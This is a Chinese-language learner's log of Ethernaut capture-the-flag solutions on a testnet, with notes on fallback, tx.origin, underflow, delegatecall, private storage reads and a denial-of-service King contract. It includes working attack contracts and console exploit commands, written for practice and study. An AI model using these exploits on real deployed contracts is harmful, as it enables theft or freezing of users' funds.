timezone |
---|
Asia/Taipei |
- 自我介绍 hi, im Eekau.
- 你认为你会完成本次残酷学习吗? 第一次參加希望能完成
- 1.Ethernaut CTF (31)
- 4.Ethcc CTF 2023 (5)
- 13.Openzeppelin CTF 2023 (9)
- 建立錢包
- 在Ethereum Faucet領取Holešky測試幣 (可以使用其他網路)
- 把網路切到Holešky開始遊戲
- 根據說明在console裡輸入info()
- 根據"PromiseResult"指示輸入ABI最終會需要輸入密碼
- 輸入contract 查找ABI 發現password()這個function 找到密碼
- 輸入獲得密碼 (這邊記得要把字串放在""裡面)
- 點選網頁下方Submit instance
- 獲得成功破關畫面
- 了解 fallback
- 知道如何 sendTransaction
- 觀察程式碼發現能更改owner的地方,除了
constructor()
外有兩處contribute()
和receive()
function contribute() public payable { require(msg.value < 0.001 ether); //只要發送0.001以上的ether 退回gass contributions[msg.sender] += msg.value;// 發送者獲得ether貢獻 if (contributions[msg.sender] > contributions[owner]) { //只要發送者交給合約的ether比owner多 owner = msg.sender; //把owner更換為發送者 } }然而constructor()時 已經預設
contributions[msg.sender] = 1000 * (1 ether)
自己的錢包並沒有這樣龐大數目的ethreceive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); //只要msg.value大於0且有貢獻 owner = msg.sender; }
receive()
觸發條件為 發送ether+msg.data為空。 2. 查找functionsendTransaction
位置在excute.js 找到說明是使用web3 API sendTrasaction 根據說明使用contract.contribute.sendTransaction({ from: player,to: act.address value: toWei('0.0001')})
3. 用await contract.getContribution().then(v => v.toString())
確認 contribution > 0 4. 再發出一次交易 觸發receive() 5. 輸入await contract.owner()
owener已經變成player了 6. 使用contract.withdraw()
把錢領光
- 觀察程式碼發現
Fal1out()
function可以更改owner為sender- 輸入
contract.Fal1out()
- 用
await contract.owner()
確認自己成為owner
Rubixi hack
- block.number?
- 如何用Solidity和其他合約互動
block.number block.number 是當前 block 編號 並非真正隨機 可以很容易查詢到
如何用Solidity和其他合約互動?
interface ICoinFlip { function flip(bool _guess) external returns (bool); }contract Mycontract{ ICoinFlip(目標合約).flip(side); }參考影片 試著產出和給的程式碼相同結果的合約執行10次
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; interface ICoinFlip{ function flip(bool _guess) external returns (bool); } contract solveFlip{ uint256 public myConsecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { myConsecutiveWins = 0; } function guessCorrect(address _CoinFlip) external returns(bool isSuccess){ uint256 blockValue = uint256(blockhash(block.number - 1)); if(lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; return ICoinFlip(_CoinFlip).flip(side); } }通關~
- tx.origin 和 msg.sender 的不同
設計一個由contract地址幫玩家交互的function執行
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; interface ITelephone{ function changeOwner(address _owner) external; } contract solvetele{ function helpMechageOwner(address _contrect) public{ ITelephone(_contrect).changeOwner(msg.sender); } }
- Underflow and Overflow
- uint256 範圍 0 ~ 2²⁵⁶ — 1.
- trasfer function 並沒有檢查扣完後會不會underflow
function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }3.把transfer的數量大於持有的數量
contract.transfer(contract.address, 21)
4.await contract.balanceOf(player)
會發現持有超多token 通關~1.取得signature
signature = web3.eth.abi.encodeFunctionSignature("pwn()")
2.利用sendTransaction 觸發callbackcontract.sendTransaction({ from: player, data: signature })
3.成為owner
- selfdestruct deprecate 一個把當前合約毀滅並把剩餘ether轉換到指定地址
- 如何使用
getStorageAt
獲取變數https://docs.soliditylang.org/en/v0.8.10/internals/layout_in_storage.html
contract.unlock(await web3.eth.getStorageAt(contract.address, 1)) 2.得到答案
- receive
- denial of service
- EOA vs. Contract 當把錢轉到合約時 需要有實作receive 或 payable fallback 函式 否則會 receive 將接收失敗並 revert 交易
- 如果能一直當王不轉移...?
- 藉由新國王不交出王位
- 寫一個合約只要拿到王位絕對不交出去
contract KingAttacker { address public challengeInstance;>> constructor(address _challengeInstance) payable { challengeInstance = _challengeInstance; } function attack() external { (bool success, ) = payable(challengeInstance).call{value: 0.001 ether}(""); require(success, "failed"); } receive() external payable { require(msg.sender == address(this), "no more king"); } //只要拿到王位 人任何人來搶都revert }
- 觀察withdraw
function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; }